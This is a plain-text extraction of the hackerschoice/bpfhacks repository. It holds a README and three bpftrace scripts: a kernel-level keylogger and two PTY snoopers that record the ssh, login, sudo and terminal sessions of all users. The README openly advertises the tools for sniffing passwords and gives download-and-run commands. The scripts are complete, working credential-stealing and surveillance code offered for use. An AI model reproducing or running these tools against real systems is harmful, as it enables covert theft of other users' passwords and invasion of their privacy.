Full Code of hackerschoice/bpfhacks for AI

main 9dafa4cbb8a4 cached
4 files
15.7 KB
6.1k tokens
1 requests
Download .txt
Repository: hackerschoice/bpfhacks
Branch: main
Commit: 9dafa4cbb8a4
Files: 4
Total size: 15.7 KB

Directory structure:
gitextract_9_0wobg0/

├── README.md
├── keylogger.bt
├── ptysnoop.bt
└── ptysnoop_linux_old.bt

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# eBPF tools

A (short) collecton of eBPF enabled tools (need root privileges to run);

Prerequisite: Install the latest bpftrace tool:
```console
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
```

## Project #1 - Sniff all ssh/login/xterm session:

Record all PTY sessions and sniffs all ssh/sudo/su passwords of all users.

```console
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
export BPFTRACE_MAX_STRLEN=200
./bpftrace -Bnone ptysnoop.bt
```
<p align="center">
<img width="675" alt="ptysnoop" src="https://github.com/hackerschoice/bpfhacks/assets/5938498/de068ae5-9cea-44fc-83a6-56e4d37dee93">
</p>

Tools by others: [SSHLog](https://ebpf.io/applications/#sshlog).

## Project #2 - Keylogger:

Record all keys pressed on the keyboard:

```console
./bpftrace -Bnone keylogger.bt
```
<p align="center">
<img alt="keuylogger" src="https://github.com/hackerschoice/bpfhacks/assets/5938498/2d9d90bf-497d-4cc7-9583-5b8c162231b6">
</p>

## TIPS & TRICKS

It may complain about missing Linux Kernel header files. Download them to a local directory:
```sh
wget https://debian.sipwise.com/debian-security/pool/main/l/linux/linux-headers-...
dpkg-deb -xv linux-headers-*.deb "$(pwd)"
export BPFTRACE_KERNEL_SOURCE="$(echo "$(pwd)/usr/src/linux-headers-"*)"
sed '/generated\/autoconf.h/d' -i "${BPFTRACE_KERNEL_SOURCE}/include/linux/kconfig.h"
```

Check for BPF support in the Kernel (it is enabled by default):
```sh
grep CONFIG_BPF /boot/config-$(uname -r)
```




================================================
FILE: keylogger.bt
================================================
#! /usr/bin/env bpftrace

/*
 * Record keys pressed on a keyboard.
 * (Based on https://github.com/willfindlay/bpf-keylogger but as bpftrace)
 *
 * Usage:
 *   curl -o bpftrace -fL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
 *   chmod 755 bpftrace
 *   ./bpftrace -Bnone keylogger.bt
 *
 * Note:
 * - This tool reads the KEY-NUMBER (!) and not the ASCII CODE.
 *   The KEY-NUMBER needs to be transposed to get the actual ASCII
 *   CHARACTER. Transposition is done using US-Keyboard layout.
 *   Check with 'localectl status' or 'cat /etc/default/keyboard'
 * - Needs an actual keyboard. Won't work on remote VNC sessions.
 */

BEGIN
{
    // https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h
    printf("Keyboard mapping: US-Keyboard\n");
    time("[%F %H:%M:%S] ");

    @keys[2] = 0x31;  // 1
    @keys[3] = 0x32;  // 2
    @keys[4] = 0x33;  // 3
    @keys[5] = 0x34;  // 4
    @keys[6] = 0x35;  // 5
    @keys[7] = 0x36;  // 6
    @keys[8] = 0x37;  // 7
    @keys[9] = 0x38;  // 8
    @keys[10] = 0x39; // 9
    @keys[11] = 0x30; // 0
    @keys[12] = 0x2d; // -
    @keys[13] = 0x3d; // =

    @keys[30] = 0x41 + 32; // A
    @keys[48] = 0x42 + 32; // B
    @keys[46] = 0x43 + 32; // C
    @keys[32] = 0x44 + 32; // D
    @keys[18] = 0x45 + 32; // E
    @keys[33] = 0x46 + 32; // F
    @keys[34] = 0x47 + 32; // G
    @keys[35] = 0x48 + 32; // H
    @keys[23] = 0x49 + 32; // I
    @keys[36] = 0x4A + 32; // J
    @keys[37] = 0x4B + 32; // K
    @keys[38] = 0x4C + 32; // L
    @keys[50] = 0x4D + 32; // M
    @keys[49] = 0x4E + 32; // N
    @keys[24] = 0x4F + 32; // O
    @keys[25] = 0x50 + 32; // P
    @keys[16] = 0x51 + 32; // Q
    @keys[19] = 0x52 + 32; // R
    @keys[31] = 0x53 + 32; // S
    @keys[20] = 0x54 + 32; // T
    @keys[22] = 0x55 + 32; // U
    @keys[47] = 0x56 + 32; // V
    @keys[17] = 0x57 + 32; // W
    @keys[45] = 0x58 + 32; // X
    @keys[21] = 0x59 + 32; // Y
    @keys[44] = 0x5a + 32; // Z

    @keys[26] = 0x5b; // {
    @keys[27] = 0x5d; // }

    @keys[39] = 0x3b; // ;
    @keys[40] = 0x27; // '
    @keys[41] = 0x60; // `
    @keys[43] = 0x5c; // \
    @keys[51] = 0x2c; // ,
    @keys[52] = 0x2e; // .
    @keys[53] = 0x2f; // /
    @keys[55] = 0x2a; // *
    @keys[57] = 0x20; // ' '

    @sk[41] = 0x7e; // ~
    @sk[2] = 0x21; // !
    @sk[3] = 0x40; // @
    @sk[4] = 0x23; // #
    @sk[5] = 0x24; // $
    @sk[6] = 0x25; // %
    @sk[7] = 0x5e; // ^
    @sk[8] = 0x26; // &
    @sk[9] = 0x2a; // *
    @sk[10] = 0x28; // (
    @sk[11] = 0x29; // )
    @sk[12] = 0x5f; // _
    @sk[13] = 0x2b; // +

    @sk[26] = 0x7b; // {
    @sk[27] = 0x7d; // }
    @sk[42] = 0x7c; // | 

    @sk[51] = 0x3c; // <
    @sk[52] = 0x3e; // >
    @sk[53] = 0x3f; // ?
    @is_shift = 0;
}

END
{
    clear(@keys);
    clear(@sk);
    clear(@is_shift);
    clear(@is_ctrl);
    clear(@is_alt);
}

// int kprobe__input_handle_event(struct pt_regs *ctx, struct input_dev *dev,
//                   unsigned int type, unsigned int code, int value)
kprobe:input_handle_event
/arg2 == 3 && arg3 > 0 && arg3 < 256/
{
    $type = arg2;
    $code = arg3;

    if ($code == 42 || $code == 54) {
        // Shift PRESSED [down]
        @is_shift = 1;
        return;
    }
    if ($code == (uint64)(128 + 42) || $code == (uint64)(128 + 54)) {
        // Shift RELEASED [up]
        @is_shift = 0;
        return;
    }

    if ($code == 0x1d) {
        @is_ctrl = 1;
        return;
    }    
    if ($code == (uint64)(128 + 0x1d)) {
        @is_ctrl = 0;
        return;
    }

    if ($code == 0x38) {
        @is_alt = 1;
        return;
    }
    if ($code == (uint64)(128 + 0x38)) {
        @is_alt = 0;
        return;
    }

    if ($code <= 1 || $code >= 128) {
        // Ignore 0 and ESC
        // Ignore Key-Event-UP [ >=128]
        return;
    }

    if ($code == 28) { // ENTER
        printf("\n");
        time("[%F %H:%M:%S] ");
        return;
    }
    if ($code == 0x3a) {
        printf("[CAPS-LOCK]");
        return;
    }

    $c = @keys[$code];
    if (@is_shift == 1 && @is_ctrl == 0 && @is_alt == 0) {
        if ($c >= 0x41+32 && $c <= 0x5a+32) {
            $c -= 32; // Convert a-z => A-Z
            @is_shift = 0;
        } else {
            $SC = @sk[$code];
            if ($SC > 0) {
                $c = $SC;
                @is_shift = 0;
            }
        }
    }

    if (@is_shift == 1 || @is_ctrl == 1 || @is_alt == 1) {
        printf("[");
        $close = 1;
    }
    if (@is_shift == 1) { printf("SHIFT+"); }
    if (@is_ctrl == 1) { printf("CTRL+"); }
    if (@is_alt == 1) { printf("ALT+"); }

    if ($c != 0) {
        printf("%c", $c);
    } else {
        if ($code == 0x0e) {
            if ($close == 0) {
                printf("[DEL]");
            } else {
                printf("DEL");
            }
        } else {
            printf("[0x%02x]", $code);
        }
    }
    if ($close == 1) {
        printf("]");
    }
}


================================================
FILE: ptysnoop.bt
================================================
#! /usr/bin/env bpftrace

/*
 * bpftrace -B none ./ptysnoop.bt [Options] [PTY number]...
 *
 * Options:
 *   31336   - Do not display the help screens
 *   99999   - Sniff ALL PTY (except screen & tmux). Default is to log only sshd, login and term.
 *             Be warned, this will likely sniff YOUR session as well.
 *
 * Example 1 - Snoop on sshd, login and xterms (running and new sessions):
 *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt
 *
 * Example 2 - Snoop on ALL but not screen or tmux:
 *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt 9999
 *
 * Example 3 - Snoop on /dev/pty/0, ... /dev/pty/3:
 *   BPFTRACE_MAX_STRLEN=200 bpfrace -Bnone 0 1 2 3
 *
 * Limitations:
 *  - The buffer may contain \x0d in the middle and it wont translate to \n.
 */

BEGIN
{
    @last_special = 0x0d;

    // bpf cant mix integer and string command line options. It's a fiddle...
    if ($1 != 31336 && $2 != 31336) {
        printf("🦋 \x1b[0;33mTIP: Nicefy the output:\n");
        printf("\x1b[0;36mbpftrace -Bnone ptysnoop.bt 31336 | sed -Eu -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\\\x1b\\[[0-9;><?]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'\x1b[0m\n");
        printf("-----\n");
    }
    if ($# == 0) { return; }

    if ($1 == 99999 || $2 == 99999) {
        @is_all = 1;
        return;
    }
    if ($# == 1 && $1 == 31336) { return; }
    if ($# == 2 && $2 == 31336) { return; }

    @is_tty_snoop = 1;
    if ($# >= 1 && $1 != 31336 && $2 != 99999) { @all_tty[$1] = 1; }
    if ($# >= 2 && $1 != 31336 && $2 != 99999) { @all_tty[$2] = 1; }
    if ($# >= 3) { @all_tty[$3] = 1; }
    if ($# >= 4) { @all_tty[$4] = 1; }
    if ($# >= 5) { @all_tty[$5] = 1; }
    if ($# >= 6) { @all_tty[$6] = 1; }
    if ($# >= 7) { @all_tty[$7] = 1; }
    if ($# >= 8) { @all_tty[$8] = 1; }
    if ($# >= 9) { @all_tty[$9] = 1; }
    if ($# >= 10) { @all_tty[$10] = 1; }
    if ($# >= 11) { @all_tty[$11] = 1; }
    if ($# >= 12) { @all_tty[$12] = 1; }
}

END
{
    if ($1 != 31336 && $2 != 31336) {
        printf("\n😘 \x1b[0;33mYou may want to nicefy a log like so:\n");
        printf("\x1b[0;36mcat x.log | sed -E -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\x1b\\[[0-9;]*m|\\\\x1b\\[[0-9;><?]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'");
        printf("\x1b[0m\n-----\n\x1b[1;37mJoin us - https://thc.org/ops\x1b[0m");
    }
    delete(@last_special);
    delete(@last_id);
    delete(@is_tty_snoop);
    delete(@color);
    delete(@is_all);
    clear(@all_tty);
}

kfunc:pty_write
/args->tty->count == 1/              // only master TTY
{
    if (@is_all) {
        if (strcontains(comm, "tmux") == 1) { return; }
        if (comm == "screen") { return; }
    } else {
        if (@is_tty_snoop > 0) {
            if (@all_tty[args->tty->index] == 0) { return; }
        } else {
            if (comm == "sshd") { $hit = 1; }
            if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
            if ($hit == 0 && comm == "login") { $hit = 1; }
            if ($hit == 0) { return; }
        }
    }

    $b = args->buf;
    $len = args->c;

    $last_id = @last_id;
    $this_id = (uint64)args->tty;

    // Do not output Arrow-UP/DOWN
    if ($len == 3 && $b[0] == 0x1b) { return; }

    $special = 0;
    if ($len == 1) {
        // Special character. Only output ONCE
        if ($b[0] < 0x20 || $b[0] > 0x7e) {
            $special = $b[0];
        }
    }

    if ($last_id != $this_id) {
        // PID has changed
        // Don't output if the user just presses enter or other special single input.
        if ($special > 0) { return; }
        // Go to new line unless we are already on a new line.
        if (@last_special != 0x0d) { printf("\n"); }
        @color = (uint64)args->tty->index % 6 + 1;
        printf("\x1b[0m>>>> \x1b[0;33m%s\x1b[0m %d /dev/pty/%d (uid=%d):\n\x1b[0;3%dm", comm, pid, args->tty->index, uid, @color);
        
        // Record a successful switch to new prompt
        @last_id = $this_id;
        @last_special = 0x0d;
    }

    if ($special > 0) {
        // Only output special characters ONCE.
        if (@last_special == $special) { return; }
        // Never output if at the beginning of a new line
        if (@last_special == 0x0d) { return; }

        if ($special == 0x08 || $special == 0x7f) {
            printf("\x1b[0;2m\\d\x1b[0;3%dm", @color);  // DEL
        } else if ($special == 0x09) {
            printf("\x1b[0;2m\\t\x1b[0;3%dm", @color);  // TAB
        } else if ($special == 0x0d) {
            printf("\n");
        }
        @last_special = $special;
        return;
    }
    if (@last_special == 0x0d) { printf("| "); }
    @last_special = 0;

    printf("%r", buf($b, $len));
}    


================================================
FILE: ptysnoop_linux_old.bt
================================================
#! /usr/bin/env bpftrace
/*
 * Use this for OLD Linux pre 5.15.
 *
 * BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings ./ptysnoop_linux_old.bt <PID> <PTY's FD>
 *
 * Limitations:
 *   - Max FD for ptmx < 64.
 *   - Not working for PTY's spawned via docker.
 *   - You may need to delete the sys_enter_writev part below (for very old Linux systems)
 */

/*
 TODO:
 - close function must delete (@fds
 */
BEGIN
{
    @last_special = 0x0d;

    if ($2 == 0) { return; }

    @is_tty_snoop = 1;
    if ($# >= 2) { @fds[$1, $2] = (uint64)$2; }
    if ($# >= 4) { @fds[$3, $4] = (uint64)$4; }
    if ($# >= 6) { @fds[$5, $6] = (uint64)$6; }
    if ($# >= 8) { @fds[$7, $8] = (uint64)$8; }
}

END
{
    delete(@last_id);
    delete(@last_special);
    delete(@is_tty_snoop);
    clear(@fds);
}

tracepoint:syscalls:sys_enter_openat,tracepoint:syscalls:sys_enter_open
/$1 == 0/
{
    if (str(args->filename) != "/dev/ptmx") { return; }
    if (@is_tty_snoop > 0) { return; }

    if (comm == "sshd") { $hit = 1; }
    if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
    if ($hit == 0 && comm == "login") { $hit = 1; }
    if ($hit == 0) { return; }
    @is_ptmx[pid] = pid;
}

tracepoint:syscalls:sys_exit_openat,tracepoint:syscalls:sys_exit_open
/$1 == 0 && args->ret >= 0 && args->ret < 64/
{
    if (@is_ptmx[pid] == 0) { return; }
    delete(@is_ptmx[pid]);

    @fds[pid, args->ret] = (uint64)args->ret;
}

tracepoint:syscalls:sys_enter_close
/$1 == 0 && args->fd >= 0 && args->fd < 64/
{
    delete(@fds[pid, args->fd]);
}


tracepoint:sched:sched_process_exit
/$1 == 0/
{
    $i = 0;
    unroll(64) {
        delete(@fds[pid, $i]);
        $i += 1;
    }
}

tracepoint:syscalls:sys_enter_write,
/args->count > 0 && args->fd > 0/
{
    if (@fds[pid, args->fd]  == 0) { return; }

    $b = args->buf;
    $len = args->count;

    // -----START IDENDICAL COPY FOR WRITEV-----
    $last_id = @last_id;
    $this_id = pid * 64 + args->fd;

    // Do not output Arrow-UP/DOWN
    if ($len == 3 && $b[0] == 0x1b) { return; }

    $special = 0;
    if ($len == 1) {
        // Special character. Only output ONCE
        if ($b[0] < 0x20 || $b[0] > 0x7e) {
            $special = $b[0];
        }
    }

    if ($last_id != $this_id) {
        // PID has changed
        if (@last_special != 0x0d) { printf("\n"); }
		printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
        @last_id = $this_id;
        @last_special = 0;
    }

    if ($special > 0) {
        // Only output special characters ONCE.
        if (@last_special == $special) { return; }
        // Never output if at the beginning of a new line
        if (@last_special == 0x0d) { return; }

        if ($special == 0x08 || $special == 0x7f) {
            printf("\x1b[2m\\d\x1b[0m");  // DEL
        } else if ($special == 0x09) {
            printf("\x1b[2m\\t\x1b[0m");  // TAB
        } else if ($special == 0x0d) {
            printf("\n");
        }
        @last_special = $special;
        return;
    }
    @last_special = 0;

    printf("%r", buf($b, $len));
    // -----END IDENTICAL COPY FOR WRITEV-----
}


//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// DELETE ALL BELOW HERE FOR VERY OLD LINUX SYSTEMS
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
tracepoint:syscalls:sys_enter_writev
/args->vlen > 0/
{
    if (@fds[pid, args->fd] == 0) { return; }

    $b = (uint8 *)args->vec[0].iov_base;
    $len = args->vec[0].iov_len;

    // -----START IDENDICAL COPY FOR WRITEV-----
    $last_id = @last_id;
    $this_id = pid * 64 + args->fd;

    // Do not output Arrow-UP/DOWN
    if ($len == 3 && $b[0] == 0x1b) { return; }

    $special = 0;
    if ($len == 1) {
        // Special character. Only output ONCE
        if ($b[0] < 0x20 || $b[0] > 0x7e) {
            $special = $b[0];
        }
    }

    if ($last_id != $this_id) {
        // PID has changed
        if (@last_special != 0x0d) { printf("\n"); }
		printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
        @last_id = $this_id;
        @last_special = 0;
    }

    if ($special > 0) {
        // Only output special characters ONCE.
        if (@last_special == $special) { return; }
        // Never output if at the beginning of a new line
        if (@last_special == 0x0d) { return; }

        if ($special == 0x08 || $special == 0x7f) {
            printf("\x1b[2m\\d\x1b[0m");  // DEL
        } else if ($special == 0x09) {
            printf("\x1b[2m\\t\x1b[0m");  // TAB
        } else if ($special == 0x0d) {
            printf("\n");
        }
        @last_special = $special;
        return;
    }
    @last_special = 0;

    printf("%r", buf($b, $len));
    // -----END IDENTICAL COPY FOR WRITEV-----
}

Download .txt
gitextract_9_0wobg0/

├── README.md
├── keylogger.bt
├── ptysnoop.bt
└── ptysnoop_linux_old.bt
Condensed preview — 4 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (17K chars).
[
  {
    "path": "README.md",
    "chars": 1569,
    "preview": "# eBPF tools\n\nA (short) collecton of eBPF enabled tools (need root privileges to run);\n\nPrerequisite: Install the latest"
  },
  {
    "path": "keylogger.bt",
    "chars": 4970,
    "preview": "#! /usr/bin/env bpftrace\n\n/*\n * Record keys pressed on a keyboard.\n * (Based on https://github.com/willfindlay/bpf-keylo"
  },
  {
    "path": "ptysnoop.bt",
    "chars": 4785,
    "preview": "#! /usr/bin/env bpftrace\n\n/*\n * bpftrace -B none ./ptysnoop.bt [Options] [PTY number]...\n *\n * Options:\n *   31336   - D"
  },
  {
    "path": "ptysnoop_linux_old.bt",
    "chars": 4719,
    "preview": "#! /usr/bin/env bpftrace\n/*\n * Use this for OLD Linux pre 5.15.\n *\n * BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings"
  }
]

About this extraction

This page contains the full source code of the hackerschoice/bpfhacks GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 4 files (15.7 KB), approximately 6.1k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!